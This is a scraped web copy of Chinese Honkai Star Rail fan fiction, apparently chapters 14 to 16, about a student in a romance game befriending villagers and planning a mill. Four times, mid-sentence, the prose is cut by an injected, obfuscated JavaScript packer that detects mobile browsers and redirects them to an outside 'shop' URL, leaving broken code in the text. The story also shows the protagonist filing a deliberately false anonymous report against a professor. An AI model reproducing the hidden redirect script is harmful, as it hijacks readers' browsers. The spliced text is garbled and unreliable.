白发少年很快就找到位于田埂不远处的迷你洞穴,里面除了干草外没有什么特别的东西。小刺猬完全没想到居然有人会像跟踪狂一样追踪到别兽家里大喇喇翻腾,惊恐之下它把身体一缩紧紧团成刺球装死。 赫柏满足了好奇心后用麦秸戳戳叮在刺猬背上的蜱虫,只是戳戳,她什么也没做,放下麦秸把刺球千辛万苦收集来的柔软干草重新塞回它的巢穴。 “我以为你会把虫子戳下来,”昔涟总是背着手笑嘻嘻,黑发少女勾起嘴角,这就是有在笑的意思了:“不能徒手这么拔。” 她认真的解释,语速因此逐渐加快:“刺猬背部的皮肤因其特殊的生理构造而格外柔韧,蜱虫能够叮咬其上不脱落肯定是口器特别锋利且有固定自身的办法,比如埋入或是倒刺。贸然拔除并不能解决刺猬的痛苦,甚至可能带来进一步伤害,所以我先把它塞回去,等准备好了再来。” “……我突然发现赫柏好认真哦~”昔涟像是看到毛球的粉色毛绒生物,她竖起耳朵瞪圆眼睛仔细观察,“就像有问必答的问答机,听说圣城奥赫玛就有这种东西,叫做‘真言狮口’还是什么。” “狮子?那不是悬锋城的吉祥物么,为什么会在奥赫玛出现?”卡厄斯兰那不解,卡厄斯兰那挠后脑勺。 赫柏果然像个问答机那样认真回应:“上午皮西厄斯老师刚讲过,这是因为……” “啊啊啊,原谅我吧,我不是故意上课走神的!”白发少年抱紧脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962979|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋发出痛苦的呻1吟,然而赫柏压根儿就没发出后面的声音。 昔涟捂着嘴弯腰闷笑,黑发姑娘扶着她,湖绿色的眼睛里露出揶揄的神色。 这人怎么傻乎乎的? 他意识到自己办了件不打自招的蠢事,赶忙松开脑袋看向赫柏,见她只是站在那儿并没有讽刺的意思才又放松呼出一口气。 还好,没有被讨厌,应该没有被讨厌吧! 跟着昔涟来到赫柏的家,他看到一座小小的破旧木质平房,距离村公所不算遥远。过去它曾属于哀丽秘榭的某个村民,前任主人外出做买卖发财后彻底迁走,这里便空下来一直由村公所保管。 “到了,哎呀呀,不好好收拾一下还真是住不了人呐!” 房顶上随风飘摇的杂草很让人疑惑这屋子为什么还没倒,原来她昨晚在这地方过夜,怪不得一大早就跑出门散步。但凡这房子能有一点点像个人住的地方也不至于叫她毫不留恋,它哪里是需要修整,干脆推倒重建算了! 赫柏平静的走到破旧屋门前推开它:“欢迎。” 然后,那扇门就在众目睽睽之下义无反顾奔向地面,与地面发生碰撞并制造出惊天巨响与一大蓬灰尘。 “……” “我有个疑问……”昔涟罕见的语气迟疑,“你竟然就在这样的房子里凑合了一夜?难道昨晚刻法勒显灵替你扛住了房梁吗。” 黑发少女表情轻松道:“还好,哀丽密榭现在不冷。” 她没有正面回答,听在人耳中就是这个意思。 白发少年当机立断:“不管了,你先搬到我家,等我和村长大叔多请些人一口气重新把屋子修好再搬回来。刚好要建磨坊,全村也只有你懂这个,你在我家住着铁匠赫克托尔叔叔找人也方便些。” 昔涟在旁边跟着用力点头:“没错,万一墙壁倒塌屋顶砸下来压到你可不是小事。如果有顾虑也可以和我一起,我就住在村公所二楼。” 他们原以为要花些功夫才能说服看上去就很有想法的赫柏,结果她从头到尾只是发了下呆就同意了这个建议:“好吧,谢谢,那我就去村……” “我这就回去和妈妈说一声,明天早上你想吃什么?甜粥和牛奶好吗?昔涟也来,我们可以一起用新面粉烤面包!”卡厄斯兰那瞬间消失,完全不给人留下任何拒绝的余地。 少年跑走时带起的风刮掉了树上的叶子,昔涟站在原地愣了一下,紧接着脸上浮现出一抹看透了真相的微笑。她转过身冲赫柏眨眼:“亲爱的~” “嗯?”黑发少女像是在思考世纪难题那样皱眉回望着她,“怎么了?” “嘻嘻,”粉色的涟漪竖起一根手指挡在嘴唇前:“我在想,当神明高居神山之巅俯视赏玩人世时,使人们终于脱离苦海的究竟是什么。” 眼看赫柏开始认真思考这个问题,她又赶忙打断话题:“走吧,你在卡厄斯兰那家暂住比和我一块儿挤村公所要好,他家粮食多,耐吃。” 14.第 14 章 亲眼目睹“你家”那副摇摇欲坠岌岌可危如同风中残烛的可怜模样,昔涟和卡厄斯兰那一人一句的替你商量好接下来一段时间的居所。原本你打算拒绝到底,但是想到方才出言拒绝游戏立刻发了套危房……这是个恋爱游戏,以攻略角色为主的GalGame风格似乎就这样,没有困难制造困难也要让主控与可攻略NPC产生交集。 房屋破旧危险这个理由至少合理,如果继续拒绝下去估计会冒出五花八门层出不穷不合逻辑更不合常理的套路。为了不被折腾他们第二次提出邀请时你顺水推舟点了头,这大概就是所谓的强制剧情,哪怕拒绝也会出现其他理由使你不得不选择这条线路。 最重要的是“家”在哪儿已经搞清楚了,从此以后你就是哀丽秘榭名正言顺的村民,有身份有居所,不会再被NPC轻易怀疑来历。 原本你打算和昔涟一起在村公所挤一挤,都是女孩比较方便而且早上不必早起赶着上早八课程,不管怎么想都是件美事。问题在于卡厄斯兰那完全不听,仿佛挣断了牵引绳直接拉长声音烟尘滚滚的爆冲跑掉——跑回去提醒他妈妈收拾房间。 像极了迫不及待把好朋狗领回家显摆的样子。 乐观点看这意味着一周目角色比较好攻略,很适合你这种新手。 “亲爱的~”昔涟捂着脸颊,眼睛亮晶晶的看着你。此刻她就像一枚熟透了的粉扑扑的桃子,散发着诱人的芬芳。你安静的看向她回应:“嗯?” 话说到一半戛然而止,不上不下的感觉很难受。 好在她并没有吊人胃口的意思,少女竖起一根手指挡在嘴唇前,像央求人保守秘密的孩子:“嘻嘻,我在想,当神明高居神山之巅俯视赏玩人世时,使人类终于脱离苦海的究竟是什么?” 啊? 这是一个恋爱游戏的NPC应该思考的问题吗?不知道为什么,你觉得面前这位粉发少女应该是个有血有肉的真实人类,生老病死、喜怒哀乐,人间种种倒映在她眼眸中。 太真实了,真实到你无法分辨。 也许是你的沉默略有些震耳欲聋,昔涟很快就换了个话题:“你在卡厄斯兰那家暂住比和我一块儿挤村公所要好,他家粮食多,耐吃。” 这倒是真的,奥妲塔和希洛尼摩斯都是种田好手,这一点上身为仙舟人的你对他们极有好感。 面前这栋理论上归属于你实际上你一分钟也没进去过的屋子确实一副不太适宜人类居住的样子,为了掩盖屋子里根本就没有居住痕迹的纰漏,你选择顺着昔涟的话题离开此地。 哀丽秘榭这座村庄的面积比你想象中小,据说横跨半个村子才能从卡厄斯兰那家走到你家,实际上并没有走多久。 回到熟悉的晒谷场,托那台木质脱粒机的福奥妲塔和希洛尼摩斯表现得比儿子还要高兴。 “我们刚才还在说这事儿呢,帕里斯家那栋旧房子哪里还能住人?放心在我家住下,”她拍拍手拉上丈夫进屋,“等着!” 家里是有空房间,但它在此前完全就是个杂物堆放处。还好卡厄斯兰那知道提前回来知会一声,现在那些杂物已经搬去和家里的奶牛作伴了,希望在找到新的储存空间前奶牛别把它们当成可以尝试的零食。 迎来一位可爱的小客人暂住是件值得高兴的事,奥妲塔从来没有像现在这样懊恼过当初没有把屋子盖大一些,糟心的二楼大可不必,但是在一楼多留出一个小房间难道不好么? * 这个时间太阳已经朝着西边的海平面慢慢坠下去了,天空中有黑色的鸟儿奋力拍打翅膀边叫边飞。空中交通肉眼可见的非常繁忙,结论:晚高峰不仅会出现在人类社会,动物世界也一样。 奥妲塔无论如何不肯让你沾手家务,于是你趁着这会儿光线还凑合走去检查那台脱粒机。简陋的机械在专业工程师眼里活像孩童玩具,不过对于不打算入职工造司的你来说徒手搓出这么个东西已经很不错了,至少它干了一下午活儿也没有要求休息或是更换零件。 比那个说是售后其实一直都在挑剔柴油饮料品质的智械工程师要敬业得多。 昔涟和卡厄斯兰那一左一右挨着你,看到齿轮随着曲柄旋转嘎吱嘎吱咬合转动满脸的不可思议。 “泰坦在上,它怎么就能刚刚好套在一起呢?”白发少年专门往后挪挪让出空间方便你活动,你一边抓着曲柄摇一边检查齿轮之间的缝隙。 也就天人族天生力气很大你才能轻轻松松将这种富含油脂质地又非常坚硬的木料修成想要的样子,它们当然能刚刚好嵌套在一起,但这与神明的赐福无关,靠得是物理与数学。 “木齿轮不比铁铁铸齿轮经久耐用,时间长了磨损严重,慢慢就会变得凝涩费力。”你没有揽功的习惯,“我多做几个齿轮备用,你看这里,只要这条线被磨到齐平就该换零件了。” 家事不就这样吗,很多物件都没法子一步配到位,先用这个木质脱粒机凑合着,总不可能几年过去勤快的卡厄斯兰那家还攒不出一台铁质机械。 “哦哦!”少年用力点头,盯着你划出的线条狠狠看了几眼,“我记住了。” 他伸出手摸摸那枚关键齿轮,脸上带着敬畏的神色。 “房间整理好了哦,”奥妲塔从窗户探出半边身子招呼三个年轻人,昔涟头一个站起来拉着赫柏往里走,边走边说:“走走走,快去看看。” 卡厄斯兰那家的房子和哀丽秘榭任何一户农人家都没有什么不同,木质框架木质墙壁,房顶由稻草铺就。这村子虽然坐落在海边却并不多雨,也不过分潮湿,从更深处陆地吹来的风温柔的环抱着它,吹走那些海洋性城市常见的小烦恼。幸亏游戏制作者在设计地图时人性尚存,不然这种房子外面下大雨里面就要下小雨,二十六度上下一场雨过后木屋立刻就会变成蘑菇屋,虫蛇鼠蚁层出不穷。 往好处想住在这样的环境里绝对不会孤单,往坏处想那真是从脚趾尖一路麻到头发丝。 新房间干净又整洁。能看得出它被临时清理出来,木头窗框还残留着些许水渍,从地面上那擦不掉的痕迹可以推断此前大约是个堆放杂物的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968451|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “谢谢,这样就很好了。”你被昔涟拉进门,木架床上垫着晒得干爽的厚实稻草,稻草上铺了层折痕尚在的被褥。 看尺寸它应该是给一天一个样的好大儿准备的,白发少年傻呵呵在旁边道:“会不会冷啊?要不要我再分你一床褥子?不然你还是和我住同一个房间……哇啊!” 奥妲塔镇定的收回手:“今天太晚了,明早再去找木匠添上衣柜和桌子。” 养个儿子有什么用,尽是拖后腿的东西! 哪能这么和刚搬来不久的年轻姑娘说话?吓也吓坏人家了,知道的当你热心过头不知道的能哭着喊救命。 “妈妈!”卡厄斯兰那只是想把自己最好的东西分享给新朋友,他还没长出会主动打其他主意的心眼。奥妲塔恨铁不成钢:“收拾桌子刷碗去!” “爸爸不是在刷……额,”话还没说完希洛尼摩斯伸进来一条胳膊把傻儿子拖走,再放他继续乱叫难保老婆不会一怒之下把账算到自己身上,“来帮忙。” 卡厄斯兰那倒退着被希洛尼摩斯拖出去,儿子的身高已经超过父亲,他拖得有点儿艰难。 “那家伙特别高兴的时候总会显得格外幼稚,话也超多,没完没了的……别理他一会儿就好了,”昔涟背着手在你的新房间里转了一圈,像个三花大美女矜持的视察领地,“时间还早,咱们玩儿一局占卜牌吧?” 她从装苹果的口袋里掏出厚实的精装手账本,又掏掏,一副精美的卡牌。你从最上面拿起一张翻来覆去的看,对它的材质工艺很感兴趣。 “很漂亮,它是怎样被制作出来的?” “炼金术,万能的炼金术,斯库沃波利斯的学校不教授这些吗?神悟树庭教哦,要不要和我们一起出门冒险?” 昔涟笑嘻嘻的眨眨眼睛,从你手中收回那张代表着“圣杯”的小卡。她的动作轻柔迅捷,就像只会在夏季来访的蝴蝶:“归乡的勇者鼓起勇气,带上她依旧锋利的宝剑重新出发,去看看奥赫玛,看看悬锋城。” “怎么样?很棒的故事吧!” 第一真理大学的炼金术么……你可以花钱选修物理或是化学相关的任何课程,但是炼金术,它与神学、宗教学以及神秘学并列,属于搞不明白为什么会开这门课但又确实有人在学的古怪科目。 “嗯,嗯嗯。”在你看来勇士归乡就意味着这人厌倦了漂泊,或许有人骨子里停不下对远方的向往,但只要在温暖的家中躺上一周,再出门就很难走到距离居所十公里以外的地方去了。不过你不想做个扫兴的人,眼看昔涟兴高采烈的洗牌张罗游戏,你垂下眼睛温和的应和她:“非常精彩的故事,我很期待它的后续内容。” “对吧~”她灵巧的将卡牌打散又合拢,重复数次,“可以开始了。” “不等卡厄斯兰那一起吗?”你依照昔涟的指点从大一些的那堆卡片中抽取了一张,粉发少女伸长脖子侧头朝外看了看,“他马上就来。” “快点儿!”她提高音量,院子里的回应比暴雨前的雷鸣还要响:“知道了,马上!” 15.第 15 章 “我来了我来了我来了!”卡厄斯兰那举着两只湿乎乎的手用脑袋顶开门板,灵敏得像个四足动物。他看了眼床单上散落的卡牌,声音里透出一股委屈:“又是占卜的游戏吗?你也真是不嫌烦。” 嘴上这么说,他还是把手在衣服上蹭蹭,确认前肢清洁干爽才熟练的从牌堆中抽出属于自己的那张。 “但愿这回能换一换……”少年嘟嘟囔囔的拐出去拖了张凳子回来,两个女孩霸占了简易架子床相对而坐,第三个人想要坐下就只能自力更生。 你看向昔涟,粉发少女念念有词的注视着尚未掀开面纱的卡片。 “她在念雅努斯祷言,祈祷命运女神垂青。”卡厄斯兰那把上半身伸得很长,确保声音能让赫柏听到。 对方飞快的看了他一眼,少年赶忙咧嘴笑笑:“说老实话,别太当真。” “哦。”你收回视线重新盯着花纹精美的卡片发呆,假如冥冥之中真有目盲的神祇用一条又一条经纬织出命运的绸缎,你真想问问祂究竟是为了什么才故意向人间播撒那么多悲剧的种子。 “好了,现在可以翻开卡牌,记住要左右翻,上下翻的话顺序就颠倒了。”昔涟睁开眼睛,脸上带着满意的微笑。 你依言从左向右轻轻拨开面前最大的那张卡,长着驴耳朵的马脸人像只手那样托着一个圆形图案。 “?”你疑惑的抬起头,那个圆形内外嵌套着三重圆环,四条标示方向的直线段交叉成米字,不同的方向上用了不同花纹的箭头圆形图案的最外圈刻印着八个古怪的符号。它代表的并非文字,联觉信标爱莫能助。 昔涟摸着下巴:“亲爱的,还有几张小卡。” 剩下的小卡全都是“圣杯”,有正的有倒的,完全看不出这种排列组合有什么预示功能。 “这是……命运之轮?”卡厄斯兰那歪着头把自己面前的卡翻开,“啊!怎么又是这张,救世主有什么用?一点儿用也没有。” 他在昔涟不赞同的目光中嘟嘟囔囔,后者嘴里发出响亮的咂舌声:“你这是在质疑我身为未来欧洛尼斯祭司的权威么?” 那肯定是不敢的,少年把脖子一缩,昔涟仿佛凯旋而归的将军,高扬着脖子哼哼:“你怎么不说话啦~说呀?说呀!” “……”卡厄斯兰那好脾气的冲她笑笑,转而对坐在一旁不语的你解释:“从小到大我抽的全都是救世主这张卡,其他孩子就不这样,抽什么的都有。” 他看上去很是为此烦恼。 “我对救世主这个称呼一点儿想法也没有,能保护好哀丽秘榭就谢天谢地。” 这家伙束手束脚的坐在凳子上,即便坐着高度也相当客观。他的样子很是乖巧,就像一只想要让自己稳稳当当坐在皮球上的海豹。 “可以再抽一次吗?该怎么洗这种卡牌。”在你看来所谓命运其实是多重偶然叠加后出现的必然概率,不过寰宇之大无奇不有,一锤定音的强运并非虚幻。听说星际和平公司有位高管的运气便是这样好得离谱,教授概率论的导师举例时第一句话就是“理想状态下,XX除外”。 昔涟热情的告诉你诀窍:“手既要松又要紧,别怕它们飞出去。” 这诀窍听上去可真是太有诀窍了。 她把卡牌拢起来塞给你:“随便试,这家伙每次都会不死心的想各种办法重来几回。” 卡厄斯兰那笑着叹了口气。 这些光滑细腻颇有分量的卡牌拿在手里质感极佳,昔涟拉着你的手操作了几下,很快松开:“赫柏好聪明啊,这就已经学会了。” 她故意斜着眼睛朝另外一个方向看:“不像有的人,笨!” “你还不如直接点我名字。”白发少年脸上的笑意就没淡过,他应该是那种天生就脾气温和稳定的人,真令人羡慕。 你笨手笨脚的洗好卡牌放在刚才拿起它们的位置上,卡厄斯兰那伸手又是一通搅和,顺势从里面拎出一张。 “唉!”他看了眼牌面,就像个已经知道成绩却还不死心希望看错分数的学生,“怎么还是救世主,这玩意儿就跟鬼一样缠着我。” “别担心,”你忍不住同情起这家伙,既然有人能一连抽中十一次苏乐达的“再来一瓶”,那么接连抽中“救世主”也就不是无法理解,“也许命运存在的意义就是为了提醒大家朝别的岔路上走,至少你有了一个明确的可操控目标,而抽到各种各样卡牌的人……额,好吧,选择太多反而是件头疼的事。” “这倒是个新鲜的提法,”白发少年微微睁大他那本就不小的蓝眼睛,紧接着又把它们眯成两条缝,“我喜欢这个解释,谁要顺着已经画好的格子走啊,我才不想当什么救世主呢。” 这时奥妲塔的声音从外面传来:“要喝水吗?吃不吃水果?” 卡牌被整整齐齐收拢好,昔涟轻巧的从床边跳到地面上站稳:“我就不了,天色不早,该回家了呀。” “我送你。”卡厄斯兰那起身带着凳子朝外走去。你跟着走到门口,看到奥妲塔拿着剪刀似乎想要剪些新鲜葡萄。看到你她脸上浮现出几乎和儿子一模一样的柔和笑意:“吃葡萄还是吃无花果?” 这两种水果的甜度都不低,你连忙摇头:“谢谢你,晚饭吃得很饱,这会儿什么也吃不下。” “晚饭是晚饭,零食是零食,等你们送昔涟回家再回来也许就想吃点东西了呢。”她“喀嚓”一剪就是胖嘟嘟的一串,吊在水井里泡一会儿就凉飕飕的。 她抓了好大一把无花果压在昔涟手里让她回去当宵夜,少女活泼的欢快笑声中明明只打算客气一下的你稀里糊涂就踏上了送人回家的旅途。 还好哀丽秘榭真的不大。 晚风拂起少女粉色的短发,她故意走在前面,垂手摸过农田边缘还没来得及收割的麦子。昔涟时而和卡厄斯兰那为了学校里的某道计算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979400|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题争论,时而拉着你聊起筹备中的磨坊,笑声伴着海浪洒满乡间小路,缺席了许久的轻松感浮出你的心底。 “到了,”村公所二层的某个房间外,微弱的火光在灯罩子里跳跃。昔涟转身看向你和卡厄斯兰那,她抬起手将一撮被风吹起的鬓发挽到耳后,轻声道:“晚安,明天见。” “明天见。”白发少年乐呵呵的举起手挥挥,“我们看着你上楼。” 你站在旁边安静的看着,她回以同样的动作,灵巧的提着裙摆跑进村公所。 “好了,咱们也回去吧。你今天一定很累了,放心休息,明天不用早起。”卡厄斯兰那转身朝自己家的方向慢慢走,边走边解释:“因为磨坊的事,忒理斯大叔一定会和皮西厄斯老师说明情况的,这几天都不用去学校。” “与其兵荒马乱的早早赶到学校再一窝蜂跑到海边,不如多睡一会儿等钟声响了再说。”他稍稍加快了些许速度走在你侧前方,一块拳头大小的石头翻滚着把家搬到了小路对面,“你不会嫌我啰嗦吧?哈哈哈哈,我家离海边近,走过去五分钟都用不了。” “而且你才是主持建造磨坊的人,晚一些显得有分量。”这句话是玩笑,他自己都没能忍住漏气一样的笑音,“别当真别当真,我的意思是其他人走过来都要多花些时间,别着急。” 他侧过身向后扭着想要看看你的表情,整个人洋溢着希望得到肯定答复的期待。 柔软的白色头发在月光下多了抹清冷的浅蓝,你忽然就理解了为何仙舟联盟要称呼这种蓝色为“月白”。 “你怎么不说话?”白发少年停下脚步彻底转过身,“如果我有哪句说的不对你可千万别藏在心里呀,直接告诉我,或者给我一拳也行,不过别用太大力气好吗?我怕痛。” 这是个坦荡热忱的人,你从他颈侧太阳状的金色纹路上移开视线:“没有,我只是反应慢……忒理斯村长不是说了要在村公所集合。” 直接跳票不去会不会太不给他面子? “嗨,你说这个,”卡厄斯兰那又把他的牙露出来了,“你本来就不用去呀,有没有人帮忙这磨坊都得建起来,区别只在于后期收费高低而已。就算别人都不帮你我也肯定是要帮你的,哀丽秘榭没人力气比我更大。” 说这话的时候他完全把老爹给忘掉了,骄傲的叉腰抬头,像只准备打鸣的小公鸡。 你迈过路面上的一个小土坑,忙碌中扫了他一眼:“要建一座磨坊其实比想象中简单许多,总共分三步,水轮,石磨,还有间遮风挡雨的木屋,把这三者连在一起就行了。” 还是那句话,先有个东西用着减轻农人们的体力消耗再说,后续再根据需要慢慢改进。像那种博物馆画册上的大风车磨坊需要的材料多,修建工时也久,并不适合正值农忙时节急等着用设备的哀丽秘榭。 因此你预计的工期只有三到四天,如果人手足够可能更快。 16.第 16 章 退出游戏舱,你看了眼墙上的挂钟。 此刻数据世界的人们已经安然入梦,真实世界则正是最热闹的时候。窗外走过零零星星打算在下课后找点乐子的学生,每个人脸上都挂着快乐的表情,就好像教室与老师是什么可怕的大嘴怪兽。 给自己倒了杯苹果味道的发酵饮料,你坐在光脑前研究提前毕业的申请。 拉帝奥教授的指点很全面,你点齐自己名下目前的学分数,除去该死的社会实践外只需要弯成本学期的正常学习任务就够完成要求。按照学校规定的流程,你必须先递交提前毕业的申请,然后才能报名参加研究生入学考试,通过考试后选择导师。好消息是这一些流程都可以在学校内完成,不必额外花费信用点租房,坏消息是时间略有些久,中途存在节外生枝的可能。 得给赫斯托教授找点事儿干,不然他怕是有点坏主意就要往你身上使。 上报仙舟联盟驻扎在博识学会的涉外机构是个办法,但那也意味着你没有能力摆平遇到的麻烦,罗浮那边很可能因为这个拒绝你的下一次滞留申请。 你不想回去。 再次试图提前下载实践报告,铁面无私的游戏系统这回把字体换成了红字进行告知。 “……”你面无表情把发酵饮料的外壳捏成一颗正圆形金属球。 人工智障! 属于老实人的正规渠道找不到解决方案,那就别怪你另辟蹊径。 你从抽屉里掏出另一台佩戴式的不记名光脑,拉开光屏面对空旷的屏幕埋头猛敲。首先必须解决IP地址的问题,人在做坏事时总有无穷无尽的精力,思维的缜密程度也远远高于平时。一个系统时后,你用捏造出来的虚拟人设,通过虚拟的假IP“实名举报”信息专业的赫斯托教授疑似盗取星际和平公司的关键技术向仙舟联盟出售。 这封举报信所举报的内容基本上就是刻意吸引眼球的胡说八道,写完后你从头到位重新读了一遍,自己都觉得荒谬。但在公司看来那是宁可信其有不可信其无,少说也得折腾赫斯托几个月。 暂时停职,回答质询,书写反省材料,够他忙的了。你也就只需要这几个月的时间而已,反正以赫斯托的能力水平他根本就摸不到博识学会的核心机构,公司查上八百回也查不出什么——那家伙能卖给联盟什么关键技术?躲在茶水间摸鱼的一百种小窍门吗? 至于仙舟更是无所谓,就算没有这一出公司名下的狗也会在狗绳限制范围内每天定时定量完成吠叫日常,听多了除了想笑没有其他任何感触。 关掉光脑将其收好,你若无其事的把垃圾塞给家政机器人,用正常备过案的私人光脑下单晚饭,不到十分钟无人机就将营养膏包裹丢在门前。 面无表情挤了管膏体,你打算回去认真琢磨一下如何攻略NPC。迄今为止的人生中你从来没有像现在这样为某个人的好感度头疼过,一般来说新手任务总是最简单的,毕竟是教学关卡嘛。能用一周时间解决问题最好,本来你对全息游戏就不怎么感兴趣。 你带着一肚子闷气重新躺回游戏舱,进入全息世界时那一瞬间的虚无感逐渐变得熟悉,睁开眼睛窗外已是一片明媚的阳光。 推开窗户,哀丽秘榭的风里带着干草的清香。 “啊,你醒了!”卡厄斯兰那只穿了件背心,正站在脱粒机上呼啦啦的跑。 有点像仓鼠跑跑轮,就是那种圆头圆脑肥嘟嘟的小型啮齿类动物,很多人喜欢把它放在笼子里当做宠物饲养。 “去洗漱吧,早餐在桌子上,”他跑了显然不止一会儿,头上有层被日光晒出来的薄汗,“你还真别说,这机器就是好,又能脱粒又能锻炼身体。” 你:“……” 真的要攻略这玩意儿吗? “呼,”你呼出一口气,“如果你能找到矿石,我可以打出几枚零件替换掉木质的那些,更耐磨。” “真的吗!那可太谢谢你啦!”卡厄斯兰那高高兴兴地多用了几分力气,将脱粒机的滚筒蹬得飕飕作响。 这样下去用不了几天就得更换齿轮,你忧郁的用手托着下巴趴在窗台上看他撒欢。 “话说你睡得真实,我早上出门去村公所的时候都没能把你吵醒,”他仰起头把额前的汗水擦掉,侧头看向趴在窗台上的少女时下意识笑得见牙不见眼:“每户人家都出了一个劳动力,每日干半天,多长时间能把磨坊修起来?” “一共多少人。”你也不知道哀丽秘榭的常住人口有多少,单说“每户人家”没法确定人数。 卡厄斯兰那边干活儿边给了个数:“三十五个人。” 每户都出一个人意味着三十五户,假设都如奥妲塔家一样也就是说哀丽秘榭整个村子至少生活着一百零五个村民。 “嗯,最多两天半。”你给了他一个确定答案。 “太棒了!一点儿也不耽误农活,赫柏你真厉害!”少年毫不犹豫的大声赞美,你移开视线,脚趾用力动了动。 他呼哧呼哧的踩着脱粒机,希洛尼摩斯沉默的坐在旁边眼疾手快往滚筒里塞麦穗。另一侧金灿灿的稻谷如同流水般淌在事先铺好的草垫上,看来只用了一早上时间他们就探索到使用工具的好方法。 “我去海边选个位置,顺便算一下需要用到多少物料,然后才能确定开工时间。”晃个神的功夫你就自己给自己发布好了今日任务,翁法洛斯事件簿这个游戏的系统只有在拒绝你下载社会实践证明时有点存在感,真正进入游戏后它就跟死了一样,说好听些叫做高自由度,说难听点儿就是屁用没有。 “啊对对,你好聪明啊,稍等我一下好吗?你先去吃早饭,这点儿活我马上就能干完。”卡厄斯兰那差点儿把脱粒机蹬出火星子。 希洛尼摩斯脸色一绿,这臭小子大概是把亲爹给忘了。眼看滚筒转得飞快,他赶忙加速将剩下的麦穗一股脑全丢进去。 你默默关上窗户,默默缩回房间,简单洗漱后吃掉略有些迟的早饭。 “中午回来吃饭吗?”奥妲塔已经运过一批稻谷去晒了,等到彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995186|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底干透就能颗粒归仓,在积攒食物的过程中慢慢期待冬季降临。往年这个过程大多要花费七至十天,现在只需三四天即可。一天脱粒,三天晒谷,也不必挥舞着连枷拼命敲打麦秸了,真的省下许多力气。 你抬头看看太阳的高度:“我估计回不来,但是下午应该能早些收工。” 只是脱出游戏去写了封匿名举报信而已,在翁法罗斯NPC眼里你就成了个很喜欢酣眠的家伙。不过这样也好,万一哪天游戏内外出现时间上的错位对不上也有理由搪塞。 奥妲塔听了你的话没有多说什么,她擦擦手走进厨房,过了一会儿提出一只藤编篮筐:“带上这个,运气好的话抓些野味加餐。” 那里面有昨天的烤饼和一些水果酸奶,足够对付一顿简单的午餐。 “是中午吃的吗妈妈?”卡厄斯兰那光着上身提着水桶从房屋另一侧转过来,他朝你“嘿嘿”笑了两声,举起水桶从头淋到脚,“我马上就好。” 说完这家伙若无其事的将木桶放下,经过你时故意甩脑袋,又在奥妲塔的怒吼中缩起脖子钻进卧室。 “不要把水带进屋子!”奥妲塔在背后多朝他吼了一句,气鼓鼓的转过头,看到瞪大眼睛呆在原地一动不动的少女又赶忙挂上和煦的微笑:“吓到你了吧?不怕不怕,乖啦。” “哦哦,”你乖巧点头,手里多了只提篮,“如果那臭小子在外面欺负你,你就把篮子盖到他头上,让他知道你可不是好惹的。” “好的,”你再次乖巧点头,奥妲塔的眼睛里一片柔光,“去吧好孩子,晚上回家吃大餐。” “我换好衣服了,咱们出发吧?”卡厄斯兰那一出现就便带来werwerwerwer的耳鸣,“有什么大餐吃?” “再话多就没你的份儿!”奥妲塔举起手掌,“一!二!” 不用她数到三,已经高出她一大截的儿子马上收起嬉皮笑脸的表情站得直挺挺的:“对不起妈妈,下次我会记住不要把水带进屋子。” “但愿你真能记住,还有,”母亲抬起手替儿子理顺额前翘起的炸毛,“好好照顾赫柏,不许欺负她,听到了没有?” 卡厄斯兰那嘟囔着“知道了”,等奥妲塔放下手才笑着喊你:“走了。” “嗯。”你向屋子的女主人道了声别,加快速度赶上已经走出去好几步的少年。 “我走路速度快,你别理我,只管按照自己的习惯走,我一定会停下来等你。还有啊,昔涟她好像有点什么事临时来不了,神神叨叨的没说清楚,总之今天就咱们两个人,你说去哪儿就去哪儿。” 他顺势从你手里提走篮筐挂在胳膊上,姿势很有点像罗浮街头摆小摊的,一旦被地衡司发现随时卷包就跑的那种。 你心里想着社会实践证明,偷偷侧过去扫了眼兀自说个不停地白发少年,关于攻略这种事完全没有任何头绪可言。 ——该如何让自己变得受欢迎? 好难啊,维里塔斯·拉帝奥教授的课程也没有这么难。 17.第 17 章 